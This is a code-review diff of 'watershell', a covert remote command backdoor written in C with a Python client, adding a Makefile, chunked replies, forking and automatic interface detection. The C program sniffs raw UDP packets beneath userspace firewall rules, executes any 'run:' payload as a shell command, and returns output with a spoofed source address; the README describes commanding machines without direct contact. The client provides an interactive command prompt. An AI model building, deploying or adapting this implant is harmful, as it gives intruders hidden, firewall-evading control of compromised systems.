Compare commits
10 Commits
3f1fd8dfa7
...
e50cf1ead0
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
e50cf1ead0 | ||
|
|
062ef4d24f | ||
|
|
d9df9e0e86 | ||
|
|
0fc2ff669c | ||
|
|
ec1bf8ec30 | ||
|
|
a8e2011f7d | ||
|
|
64168381a6 | ||
|
|
5e33d29a33 | ||
|
|
6f7e961008 | ||
|
|
ff698a5695 |
16
Makefile
Normal file
16
Makefile
Normal file
@@ -0,0 +1,16 @@
|
|||||||
|
# Small makefile to make compiling watershell easier to do
|
||||||
|
# TODO implement C and Linker FLAGS if desired
|
||||||
|
|
||||||
|
COMPILER=gcc
|
||||||
|
|
||||||
|
all: watershell
|
||||||
|
|
||||||
|
debug:
|
||||||
|
$(COMPILER) watershell.c -DDEBUG=1 -static -o watershell
|
||||||
|
|
||||||
|
.PHONY: watershell
|
||||||
|
watershell:
|
||||||
|
$(COMPILER) watershell.c -o watershell -static
|
||||||
|
|
||||||
|
clean:
|
||||||
|
rm watershell *.o
|
||||||
13
README.md
13
README.md
@@ -14,7 +14,18 @@ Configuring
|
|||||||
-----------
|
-----------
|
||||||
You can hard code values at the top of watershell.c or you can use command line arguments when you launch it. There are three options:
|
You can hard code values at the top of watershell.c or you can use command line arguments when you launch it. There are three options:
|
||||||
- PORT: this defines the port to check for, -p flag, default 12345
|
- PORT: this defines the port to check for, -p flag, default 12345
|
||||||
- IFACE: the interface to sniff on, -l flag, default eth0
|
|
||||||
- PROMISC: whether to sniff all traffic or not, -p flag, default false
|
- PROMISC: whether to sniff all traffic or not, -p flag, default false
|
||||||
|
- DEBUG: verbose logging output to display to the user running the binary
|
||||||
|
|
||||||
If promiscuous mode is on any traffic that goes over the network that is UDP and matches the spectfied port will trigger the program, for example sending UDP traffic with a payload of run:reboot to 8.8.8.8 will reboot the listening machine if it is on the same network as the originator. This is useful if you don't want to make direct contact with the machine but still want to send it commands. The status reply will have a spoofed source of the destination host you specified.
|
If promiscuous mode is on any traffic that goes over the network that is UDP and matches the spectfied port will trigger the program, for example sending UDP traffic with a payload of run:reboot to 8.8.8.8 will reboot the listening machine if it is on the same network as the originator. This is useful if you don't want to make direct contact with the machine but still want to send it commands. The status reply will have a spoofed source of the destination host you specified.
|
||||||
|
|
||||||
|
Compiling
|
||||||
|
---------
|
||||||
|
Compile by hand or use the Makefile.
|
||||||
|
```
|
||||||
|
gcc watershell.c -o watershell
|
||||||
|
# OR
|
||||||
|
make
|
||||||
|
# OR
|
||||||
|
make watershell
|
||||||
|
```
|
||||||
|
|||||||
120
watershell-cli.py
Normal file → Executable file
120
watershell-cli.py
Normal file → Executable file
@@ -1,23 +1,39 @@
|
|||||||
import socket, time, sys
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
"""
|
||||||
|
Watershell client; a script to easily send commands over UDP to a host running
|
||||||
|
the watershell listening binary. The watershell will be listening for UDP data
|
||||||
|
on a lower level of the network stack to bypass userspace firewall rules.
|
||||||
|
"""
|
||||||
|
|
||||||
def recv_timeout(the_socket,timeout=2):
|
import argparse
|
||||||
|
import socket
|
||||||
|
import time
|
||||||
|
import sys
|
||||||
|
|
||||||
|
def recv_timeout(the_socket, timeout=4):
|
||||||
|
"""
|
||||||
|
Attempt to listen for data until the specified timeout is reached.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
str - Data received over socket
|
||||||
|
"""
|
||||||
# make socket non blocking
|
# make socket non blocking
|
||||||
the_socket.setblocking(0)
|
the_socket.setblocking(0)
|
||||||
|
|
||||||
# total data partwise in an array
|
# total data partwise in an array
|
||||||
total_data=[];
|
total_data = []
|
||||||
data='';
|
data = ''
|
||||||
|
|
||||||
# beginning time
|
# beginning time
|
||||||
begin = time.time()
|
begin = time.time()
|
||||||
while 1:
|
while True:
|
||||||
# if you got some data, then break after timeout
|
# if you got some data, then break after timeout
|
||||||
if total_data and time.time()-begin > timeout:
|
if total_data and time.time()-begin > timeout:
|
||||||
break
|
break
|
||||||
|
|
||||||
#if you got no data at all, wait a little longer, twice the timeout
|
# if weve waited longer than the timeout, break
|
||||||
elif time.time()-begin > timeout*2:
|
elif time.time()-begin > timeout:
|
||||||
break
|
break
|
||||||
|
|
||||||
# recv something
|
# recv something
|
||||||
@@ -30,29 +46,89 @@ def recv_timeout(the_socket,timeout=2):
|
|||||||
else:
|
else:
|
||||||
# sleep for sometime to indicate a gap
|
# sleep for sometime to indicate a gap
|
||||||
time.sleep(0.1)
|
time.sleep(0.1)
|
||||||
except:
|
except BaseException as exc:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
# join all parts to make final string
|
# join all parts to make final string
|
||||||
return ''.join(total_data)
|
return ''.join(total_data)
|
||||||
|
|
||||||
if __name__ == '__main__':
|
def declare_args():
|
||||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
"""
|
||||||
s.bind(("", 53316))
|
Function to declare arguments that are acceptable to watershel-cli.py
|
||||||
box = (sys.argv[1], int(sys.argv[2]))
|
"""
|
||||||
print("Connecting to Watershell on {}...".format(box))
|
parser = argparse.ArgumentParser(
|
||||||
s.sendto(b'status:', box)
|
description="Watershell client to send command to host with watershell listening over UDP.")
|
||||||
resp = recv_timeout(s, 1)
|
parser.add_argument(
|
||||||
if resp == "up":
|
'-t', '--target',
|
||||||
print("Connected!")
|
dest='target',
|
||||||
else:
|
type=str,
|
||||||
print("Connection Failed...")
|
required=True,
|
||||||
sys.exit(1)
|
help="IP of the target to send UDP message to.")
|
||||||
|
|
||||||
|
parser.add_argument(
|
||||||
|
'-p', '--port',
|
||||||
|
dest='port',
|
||||||
|
type=int,
|
||||||
|
default=52,
|
||||||
|
help="Port to send UDP message to.")
|
||||||
|
parser.add_argument(
|
||||||
|
'-c', '--command',
|
||||||
|
dest='command',
|
||||||
|
type=str,
|
||||||
|
help="One off command to send to listening watershell target")
|
||||||
|
parser.add_argument(
|
||||||
|
'-i', '--interactive',
|
||||||
|
dest='interactive',
|
||||||
|
action='store_true',
|
||||||
|
default=False,
|
||||||
|
help="Interactively send commands to watershell target")
|
||||||
|
|
||||||
|
return parser
|
||||||
|
|
||||||
|
def execute_cmd_prompt(sock, target):
|
||||||
|
"""
|
||||||
|
Interactively prompt user for commands and execute them
|
||||||
|
"""
|
||||||
while True:
|
while True:
|
||||||
cmd = input("//\\\\watershell//\\\\>> ")
|
cmd = input("//\\\\watershell//\\\\>> ")
|
||||||
if cmd == 'exit':
|
if cmd == 'exit':
|
||||||
break
|
break
|
||||||
if len(cmd) > 1 :
|
if len(cmd) > 1 :
|
||||||
s.sendto(("run:"+cmd).encode(), box)
|
if len(cmd) >= 1400:
|
||||||
resp = recv_timeout(s, 2)
|
print("Command is too big! (must be <=1400)")
|
||||||
|
else:
|
||||||
|
sock.sendto(("run:"+cmd).encode(), target)
|
||||||
|
resp = recv_timeout(sock, 4)
|
||||||
print(resp)
|
print(resp)
|
||||||
|
|
||||||
|
def main():
|
||||||
|
"""
|
||||||
|
Entry point to watershell-cli.py. Parse arguments supplied by user,
|
||||||
|
grab the status of the watershell target and then issue commands.
|
||||||
|
"""
|
||||||
|
args = declare_args().parse_args()
|
||||||
|
|
||||||
|
# Bind source port to send UDP message from
|
||||||
|
s_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
s_socket.bind(("0.0.0.0", 53316))
|
||||||
|
|
||||||
|
target = (args.target, args.port)
|
||||||
|
print("Connecting to Watershell on {}...".format(target))
|
||||||
|
s_socket.sendto(b'status:', target)
|
||||||
|
|
||||||
|
resp = recv_timeout(s_socket, 2)
|
||||||
|
if resp == "up":
|
||||||
|
print("Connected!")
|
||||||
|
else:
|
||||||
|
print("Connection Failed...")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
if args.interactive:
|
||||||
|
execute_cmd_prompt(s_socket, target)
|
||||||
|
else:
|
||||||
|
s_socket.sendto(("run:{}".format(args.command)).encode(), target)
|
||||||
|
resp = recv_timeout(s_socket, 4)
|
||||||
|
print(resp)
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
||||||
|
|||||||
166
watershell.c
166
watershell.c
@@ -7,27 +7,26 @@
|
|||||||
*
|
*
|
||||||
* Version: 1.0
|
* Version: 1.0
|
||||||
* Created: 07/01/2015 09:10:41 AM
|
* Created: 07/01/2015 09:10:41 AM
|
||||||
* Revision: none
|
* Revision: 04/14/2019 11:19:22 PM
|
||||||
* Compiler: gcc
|
* Compiler: gcc
|
||||||
*
|
*
|
||||||
* Author: Jaime Geiger, jmg2967@rit.edu
|
* Author: Jaime Geiger, jmg2967@rit.edu
|
||||||
|
* Author: Nicholas O'Brien, ndo9903@rit.edu
|
||||||
*
|
*
|
||||||
* =====================================================================================
|
* =====================================================================================
|
||||||
*/
|
*/
|
||||||
|
|
||||||
/* CUSTOMIZE THESE LINES FOR HARD CODED VALUES */
|
/* CUSTOMIZE THESE LINES FOR HARD CODED VALUES */
|
||||||
#ifndef IFACE
|
|
||||||
#define IFACE "ens33"
|
|
||||||
#endif
|
|
||||||
#ifndef PORT
|
#ifndef PORT
|
||||||
#define PORT 53
|
#define PORT 53
|
||||||
#endif
|
#endif
|
||||||
#ifndef PROMISC
|
#ifndef PROMISC
|
||||||
#define PROMISC false
|
#define PROMISC true
|
||||||
#endif
|
#endif
|
||||||
#ifndef DEBUG
|
#ifndef DEBUG
|
||||||
#define DEBUG false
|
#define DEBUG false
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
/* COMMAND LINE ARGS WILL OVERRIDE THESE */
|
/* COMMAND LINE ARGS WILL OVERRIDE THESE */
|
||||||
|
|
||||||
#include <net/if.h>
|
#include <net/if.h>
|
||||||
@@ -41,7 +40,7 @@
|
|||||||
#include <sys/ioctl.h>
|
#include <sys/ioctl.h>
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <arpa/inet.h>
|
#include <arpa/inet.h>
|
||||||
#include <linux/if_ether.h>
|
#include <netinet/if_ether.h>
|
||||||
#include <linux/if_packet.h>
|
#include <linux/if_packet.h>
|
||||||
#include <linux/filter.h>
|
#include <linux/filter.h>
|
||||||
#include <fcntl.h>
|
#include <fcntl.h>
|
||||||
@@ -49,6 +48,7 @@
|
|||||||
#include <netinet/udp.h>
|
#include <netinet/udp.h>
|
||||||
#include <signal.h>
|
#include <signal.h>
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
|
#include <ifaddrs.h>
|
||||||
#include "watershell.h"
|
#include "watershell.h"
|
||||||
|
|
||||||
//these need to be global so that a sigint can close everything up
|
//these need to be global so that a sigint can close everything up
|
||||||
@@ -60,9 +60,9 @@ int main(int argc, char *argv[])
|
|||||||
{
|
{
|
||||||
int i, n, hlen, arg;
|
int i, n, hlen, arg;
|
||||||
struct sock_fprog filter;
|
struct sock_fprog filter;
|
||||||
char buf[2048];
|
char recv_buf[RECV_BUFFER_SIZE];
|
||||||
unsigned char *read;
|
unsigned char *read;
|
||||||
char *udpdata, *iface = IFACE;
|
char *udpdata;
|
||||||
struct iphdr *ip;
|
struct iphdr *ip;
|
||||||
struct udphdr *udp;
|
struct udphdr *udp;
|
||||||
unsigned port = PORT;
|
unsigned port = PORT;
|
||||||
@@ -70,15 +70,16 @@ int main(int argc, char *argv[])
|
|||||||
|
|
||||||
//if (fork())
|
//if (fork())
|
||||||
// exit(1);
|
// exit(1);
|
||||||
|
char iface[100];
|
||||||
|
memset(iface, '\0', sizeof(iface));
|
||||||
|
get_interface_name(iface);
|
||||||
|
printf("Listening on %s\n", iface);
|
||||||
|
|
||||||
promisc = PROMISC;
|
promisc = PROMISC;
|
||||||
|
|
||||||
// command line args
|
// command line args
|
||||||
while ((arg = getopt(argc, argv, "phi:l:")) != -1){
|
while ((arg = getopt(argc, argv, "phi:l:")) != -1){
|
||||||
switch (arg){
|
switch (arg){
|
||||||
case 'i':
|
|
||||||
iface = optarg;
|
|
||||||
break;
|
|
||||||
case 'p':
|
case 'p':
|
||||||
if (DEBUG)
|
if (DEBUG)
|
||||||
puts("Running in promisc mode");
|
puts("Running in promisc mode");
|
||||||
@@ -86,7 +87,7 @@ int main(int argc, char *argv[])
|
|||||||
break;
|
break;
|
||||||
case 'h':
|
case 'h':
|
||||||
if (DEBUG)
|
if (DEBUG)
|
||||||
fprintf(stderr, "Usage: %s [-l port] [-p] -i iface\n", argv[0]);
|
fprintf(stderr, "Usage: %s [-l port] [-p]\n", argv[0]);
|
||||||
return 0;
|
return 0;
|
||||||
break;
|
break;
|
||||||
case 'l':
|
case 'l':
|
||||||
@@ -99,7 +100,7 @@ int main(int argc, char *argv[])
|
|||||||
break;
|
break;
|
||||||
case '?':
|
case '?':
|
||||||
if (DEBUG)
|
if (DEBUG)
|
||||||
fprintf(stderr, "Usage: %s [-l port] [-p] -i iface\n", argv[0]);
|
fprintf(stderr, "Usage: %s [-l port] [-p]\n", argv[0]);
|
||||||
return 1;
|
return 1;
|
||||||
default:
|
default:
|
||||||
abort();
|
abort();
|
||||||
@@ -131,7 +132,7 @@ int main(int argc, char *argv[])
|
|||||||
if (DEBUG) perror("ioctl SIOCGIFFLAGS");
|
if (DEBUG) perror("ioctl SIOCGIFFLAGS");
|
||||||
close(sockfd);
|
close(sockfd);
|
||||||
free(sifreq);
|
free(sifreq);
|
||||||
return 0;
|
return 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
//set up promisc mode if enabled
|
//set up promisc mode if enabled
|
||||||
@@ -148,23 +149,40 @@ int main(int argc, char *argv[])
|
|||||||
&filter, sizeof(filter)) < 0)
|
&filter, sizeof(filter)) < 0)
|
||||||
if (DEBUG) perror("setsockopt");
|
if (DEBUG) perror("setsockopt");
|
||||||
|
|
||||||
|
|
||||||
|
signal(SIGCHLD, SIG_IGN);
|
||||||
|
|
||||||
//sniff forever!
|
//sniff forever!
|
||||||
for (;;){
|
for (;;){
|
||||||
memset(buf, 0, 2048);
|
memset(recv_buf, 0, RECV_BUFFER_SIZE);
|
||||||
|
|
||||||
//get a packet, and tear it apart, look for keywords
|
//get a packet, and tear it apart, look for keywords
|
||||||
n = recvfrom(sockfd, buf, 2048, 0, NULL, NULL);
|
n = recvfrom(sockfd, recv_buf, RECV_BUFFER_SIZE, 0, NULL, NULL);
|
||||||
ip = (struct iphdr *)(buf + sizeof(struct ethhdr));
|
ip = (struct iphdr *)(recv_buf + sizeof(struct ethhdr));
|
||||||
udp = (struct udphdr *)(buf + ip->ihl*4 + sizeof(struct ethhdr));
|
udp = (struct udphdr *)(recv_buf + ip->ihl*4 + sizeof(struct ethhdr));
|
||||||
udpdata = (char *)((buf + ip->ihl*4 + 8 + sizeof(struct ethhdr)));
|
udpdata = (char *)((recv_buf + ip->ihl*4 + 8 + sizeof(struct ethhdr)));
|
||||||
|
|
||||||
|
|
||||||
|
printf("Got something\n");
|
||||||
//checkup on the service, make sure it is still there
|
//checkup on the service, make sure it is still there
|
||||||
if(!strncmp(udpdata, "status:", 7)){
|
if(!strncmp(udpdata, "status:", 7)){
|
||||||
send_status(buf, "up");
|
printf("Doing the status\n");
|
||||||
|
send_status(recv_buf, "up");
|
||||||
}
|
}
|
||||||
|
|
||||||
//run a command if the data is prefixed with run:
|
//run a command if the data is prefixed with run:
|
||||||
if (!strncmp(udpdata, "run:", 4)){
|
if (!strncmp(udpdata, "run:", 4)){
|
||||||
|
// Make a copy for the fork, child will free
|
||||||
|
char * recv_copy = malloc(RECV_BUFFER_SIZE);
|
||||||
|
memcpy(recv_copy, recv_buf, RECV_BUFFER_SIZE);
|
||||||
|
|
||||||
|
ip = (struct iphdr *)(recv_copy + sizeof(struct ethhdr));
|
||||||
|
udp = (struct udphdr *)(recv_copy + ip->ihl*4 + sizeof(struct ethhdr));
|
||||||
|
udpdata = (char *)((recv_copy + ip->ihl*4 + 8 + sizeof(struct ethhdr)));
|
||||||
|
|
||||||
|
pid_t fork_pid = fork();
|
||||||
|
|
||||||
|
if (fork_pid == 0) {
|
||||||
|
printf("Doing the thing: %s\n", udpdata);
|
||||||
int out = open("/dev/null", O_WRONLY);
|
int out = open("/dev/null", O_WRONLY);
|
||||||
int err = open("/dev/null", O_WRONLY);
|
int err = open("/dev/null", O_WRONLY);
|
||||||
dup2(out, 0);
|
dup2(out, 0);
|
||||||
@@ -172,33 +190,99 @@ int main(int argc, char *argv[])
|
|||||||
|
|
||||||
FILE *fd;
|
FILE *fd;
|
||||||
fd = popen(udpdata + 4, "r");
|
fd = popen(udpdata + 4, "r");
|
||||||
if (!fd) return -1;
|
if (!fd) {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
char buffer[256];
|
char buffer[RECV_BUFFER_SIZE];
|
||||||
size_t chread;
|
size_t chread;
|
||||||
/* String to store entire command contents in */
|
/* String to store entire command contents in */
|
||||||
size_t comalloc = 256;
|
size_t comalloc = RECV_BUFFER_SIZE;
|
||||||
size_t comlen = 0;
|
size_t comlen = 0;
|
||||||
char *comout = malloc(comalloc);
|
char *comout = malloc(comalloc);
|
||||||
|
|
||||||
/* Use fread so binary data is dealt with correctly */
|
/* Use fread so binary data is dealt with correctly */
|
||||||
while ((chread = fread(buffer, 1, sizeof(buffer), fd)) != 0) {
|
while ((chread = fread(buffer, 1, sizeof(buffer), fd)) != 0) {
|
||||||
|
printf("1\n");
|
||||||
if (comlen + chread >= comalloc) {
|
if (comlen + chread >= comalloc) {
|
||||||
comalloc *= 2;
|
comalloc *= 2;
|
||||||
comout = realloc(comout, comalloc);
|
comout = realloc(comout, comalloc);
|
||||||
}
|
}
|
||||||
memmove(comout + comlen, buffer, chread);
|
memmove(comout + comlen, buffer, chread);
|
||||||
comlen += chread;
|
comlen += chread;
|
||||||
|
printf("2\n");
|
||||||
|
}
|
||||||
|
if (DEBUG) {
|
||||||
|
printf("Sending %s", comout);
|
||||||
}
|
}
|
||||||
pclose(fd);
|
pclose(fd);
|
||||||
send_status(buf, comout);
|
close(out);
|
||||||
|
close(err);
|
||||||
|
send_status(recv_copy, comout);
|
||||||
|
free(recv_copy);
|
||||||
|
free(comout);
|
||||||
|
return 0;
|
||||||
|
} else {
|
||||||
|
if (DEBUG) {
|
||||||
|
printf("Forked to %d\n", fork_pid);
|
||||||
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// get interface name dynamically :D
|
||||||
|
void get_interface_name(char iface[]){
|
||||||
|
const char* google_dns_server = "8.8.8.8";
|
||||||
|
int dns_port = 53;
|
||||||
|
int sock, err;
|
||||||
|
|
||||||
|
char buf[32];
|
||||||
|
char buffer[100];
|
||||||
|
|
||||||
|
struct ifaddrs *addrs, *iap;
|
||||||
|
struct sockaddr_in *sa;
|
||||||
|
struct sockaddr_in serv;
|
||||||
|
struct sockaddr_in name;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
sock = socket(AF_INET, SOCK_DGRAM, 0);
|
||||||
|
|
||||||
|
memset(&serv, 0, sizeof(serv));
|
||||||
|
serv.sin_family = AF_INET;
|
||||||
|
serv.sin_addr.s_addr = inet_addr(google_dns_server);
|
||||||
|
serv.sin_port = htons(dns_port);
|
||||||
|
|
||||||
|
err = connect(sock ,(const struct sockaddr*) &serv ,sizeof(serv));
|
||||||
|
|
||||||
|
|
||||||
|
socklen_t namelen = sizeof(name);
|
||||||
|
err = getsockname(sock, (struct sockaddr*) &name, &namelen);
|
||||||
|
|
||||||
|
|
||||||
|
const char* p = inet_ntop(AF_INET, &name.sin_addr, buffer, 100);
|
||||||
|
|
||||||
|
getifaddrs(&addrs);
|
||||||
|
for (iap = addrs; iap != NULL; iap = iap->ifa_next) {
|
||||||
|
if (iap->ifa_addr && (iap->ifa_flags & IFF_UP) && iap->ifa_addr->sa_family == AF_INET) {
|
||||||
|
sa = (struct sockaddr_in *)(iap->ifa_addr);
|
||||||
|
inet_ntop(iap->ifa_addr->sa_family, (void *)&(sa->sin_addr), buf, sizeof(buf));
|
||||||
|
if (!strcmp(p, buf)) {
|
||||||
|
strncpy(iface, iap->ifa_name, strlen(iap->ifa_name));
|
||||||
|
//interface_name = iap->ifa_name;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
freeifaddrs(addrs);
|
||||||
|
close(sock);
|
||||||
|
}
|
||||||
|
|
||||||
//cleanup on SIGINT
|
//cleanup on SIGINT
|
||||||
void sigint(int signum){
|
void sigint(int signum){
|
||||||
//if promiscuous mode was on, turn it off
|
//if promiscuous mode was on, turn it off
|
||||||
@@ -214,7 +298,7 @@ void sigint(int signum){
|
|||||||
//shut it down!
|
//shut it down!
|
||||||
free(sifreq);
|
free(sifreq);
|
||||||
close(sockfd);
|
close(sockfd);
|
||||||
//exit(1);
|
exit(0);
|
||||||
}
|
}
|
||||||
|
|
||||||
//send a reply
|
//send a reply
|
||||||
@@ -224,17 +308,29 @@ void send_status(unsigned char *buf, char *payload){
|
|||||||
struct sockaddr_in sin;
|
struct sockaddr_in sin;
|
||||||
int len;
|
int len;
|
||||||
|
|
||||||
|
|
||||||
//setup the data
|
|
||||||
memset(&frame, 0, sizeof(frame));
|
|
||||||
strncpy(frame.data, payload, strlen(payload));
|
|
||||||
|
|
||||||
//get the ifindex
|
//get the ifindex
|
||||||
if (ioctl(sockfd, SIOCGIFINDEX, sifreq) == -1){
|
if (ioctl(sockfd, SIOCGIFINDEX, sifreq) == -1){
|
||||||
if (DEBUG) perror("ioctl SIOCGIFINDEX");
|
if (DEBUG) perror("ioctl SIOCGIFINDEX");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
uint32_t full_size = strlen(payload);
|
||||||
|
|
||||||
|
div_t div_res = div(full_size, SEND_CHUNK_SIZE);
|
||||||
|
int chunk_count = div_res.quot+1;
|
||||||
|
|
||||||
|
for (uint32_t i = 0; i < chunk_count; i++) {
|
||||||
|
|
||||||
|
uint32_t send_size = SEND_CHUNK_SIZE;
|
||||||
|
if (i == chunk_count-1) {
|
||||||
|
send_size = strnlen(payload+(i*SEND_CHUNK_SIZE), SEND_CHUNK_SIZE);
|
||||||
|
}
|
||||||
|
//setup the data
|
||||||
|
memset(&frame, 0, sizeof(frame));
|
||||||
|
uint64_t offset = i*SEND_CHUNK_SIZE;
|
||||||
|
memcpy(frame.data, payload+(offset), send_size);
|
||||||
|
|
||||||
|
|
||||||
//layer 2
|
//layer 2
|
||||||
saddrll.sll_family = PF_PACKET;
|
saddrll.sll_family = PF_PACKET;
|
||||||
saddrll.sll_ifindex = sifreq->ifr_ifindex;
|
saddrll.sll_ifindex = sifreq->ifr_ifindex;
|
||||||
@@ -251,7 +347,7 @@ void send_status(unsigned char *buf, char *payload){
|
|||||||
frame.ip.frag_off |= htons(IP_DF);
|
frame.ip.frag_off |= htons(IP_DF);
|
||||||
frame.ip.ttl = 64;
|
frame.ip.ttl = 64;
|
||||||
frame.ip.tos = 0;
|
frame.ip.tos = 0;
|
||||||
frame.ip.tot_len = htons(sizeof(frame.ip) + sizeof(frame.udp) + strlen(payload));
|
frame.ip.tot_len = htons(sizeof(frame.ip) + sizeof(frame.udp) + send_size);
|
||||||
frame.ip.saddr = ((struct iphdr*)(buf+sizeof(struct ethhdr)))->daddr;
|
frame.ip.saddr = ((struct iphdr*)(buf+sizeof(struct ethhdr)))->daddr;
|
||||||
frame.ip.daddr = ((struct iphdr*)(buf+sizeof(struct ethhdr)))->saddr;
|
frame.ip.daddr = ((struct iphdr*)(buf+sizeof(struct ethhdr)))->saddr;
|
||||||
frame.ip.protocol = IPPROTO_UDP;
|
frame.ip.protocol = IPPROTO_UDP;
|
||||||
@@ -259,17 +355,19 @@ void send_status(unsigned char *buf, char *payload){
|
|||||||
//layer 4
|
//layer 4
|
||||||
frame.udp.source = ((struct udphdr*)(buf+sizeof(struct ethhdr)+sizeof(struct iphdr)))->dest;
|
frame.udp.source = ((struct udphdr*)(buf+sizeof(struct ethhdr)+sizeof(struct iphdr)))->dest;
|
||||||
frame.udp.dest = ((struct udphdr*)(buf+sizeof(struct ethhdr)+sizeof(struct iphdr)))->source;
|
frame.udp.dest = ((struct udphdr*)(buf+sizeof(struct ethhdr)+sizeof(struct iphdr)))->source;
|
||||||
frame.udp.len = htons(strlen(payload) + sizeof(frame.udp));
|
frame.udp.len = htons(send_size + sizeof(frame.udp));
|
||||||
|
|
||||||
//checksums
|
//checksums
|
||||||
//udp_checksum(&frame.ip, (unsigned short*)&frame.udp);
|
//udp_checksum(&frame.ip, (unsigned short*)&frame.udp);
|
||||||
ip_checksum(&frame.ip);
|
ip_checksum(&frame.ip);
|
||||||
|
|
||||||
//calculate total length and send
|
//calculate total length and send
|
||||||
len = sizeof(struct ethhdr) + sizeof(struct udphdr) + sizeof(struct iphdr) + strlen(payload);
|
len = sizeof(struct ethhdr) + sizeof(struct udphdr) + sizeof(struct iphdr) + send_size;
|
||||||
sendto(sockfd, (char*)&frame, len, 0, (struct sockaddr *)&saddrll, sizeof(saddrll));
|
sendto(sockfd, (char*)&frame, len, 0, (struct sockaddr *)&saddrll, sizeof(saddrll));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
/* checksum functions from http://www.roman10.net/how-to-calculate-iptcpudp-checksumpart-2-implementation/ */
|
/* checksum functions from http://www.roman10.net/how-to-calculate-iptcpudp-checksumpart-2-implementation/ */
|
||||||
//broken.
|
//broken.
|
||||||
void udp_checksum(struct iphdr *ip, unsigned short *payload){
|
void udp_checksum(struct iphdr *ip, unsigned short *payload){
|
||||||
|
|||||||
@@ -16,6 +16,11 @@
|
|||||||
*/
|
*/
|
||||||
#ifndef WATERSHELL_H_
|
#ifndef WATERSHELL_H_
|
||||||
#define WATERSHELL_H_
|
#define WATERSHELL_H_
|
||||||
|
|
||||||
|
|
||||||
|
#define RECV_BUFFER_SIZE 4096
|
||||||
|
#define SEND_CHUNK_SIZE (ETH_DATA_LEN - sizeof(struct udphdr) - sizeof(struct iphdr))
|
||||||
|
|
||||||
/* BPF code generated with tcpdump -dd udp and port 12345
|
/* BPF code generated with tcpdump -dd udp and port 12345
|
||||||
* used to filter incoming packets at the socket level
|
* used to filter incoming packets at the socket level
|
||||||
*/
|
*/
|
||||||
@@ -49,11 +54,12 @@ struct __attribute__((__packed__)) udpframe {
|
|||||||
struct ethhdr ehdr;
|
struct ethhdr ehdr;
|
||||||
struct iphdr ip;
|
struct iphdr ip;
|
||||||
struct udphdr udp;
|
struct udphdr udp;
|
||||||
unsigned char data[ETH_DATA_LEN - sizeof(struct udphdr) - sizeof(struct iphdr)];
|
unsigned char data[SEND_CHUNK_SIZE];
|
||||||
};
|
};
|
||||||
|
|
||||||
void send_status(unsigned char *buf, char *payload);
|
void send_status(unsigned char *buf, char *payload);
|
||||||
void sigint(int signum);
|
void sigint(int signum);
|
||||||
void ip_checksum(struct iphdr *ip);
|
void ip_checksum(struct iphdr *ip);
|
||||||
void udp_checksum(struct iphdr *ip, unsigned short *payload);
|
void udp_checksum(struct iphdr *ip, unsigned short *payload);
|
||||||
|
void get_interface_name(char iface[]);
|
||||||
#endif
|
#endif
|
||||||
|
|||||||
Reference in New Issue
Block a user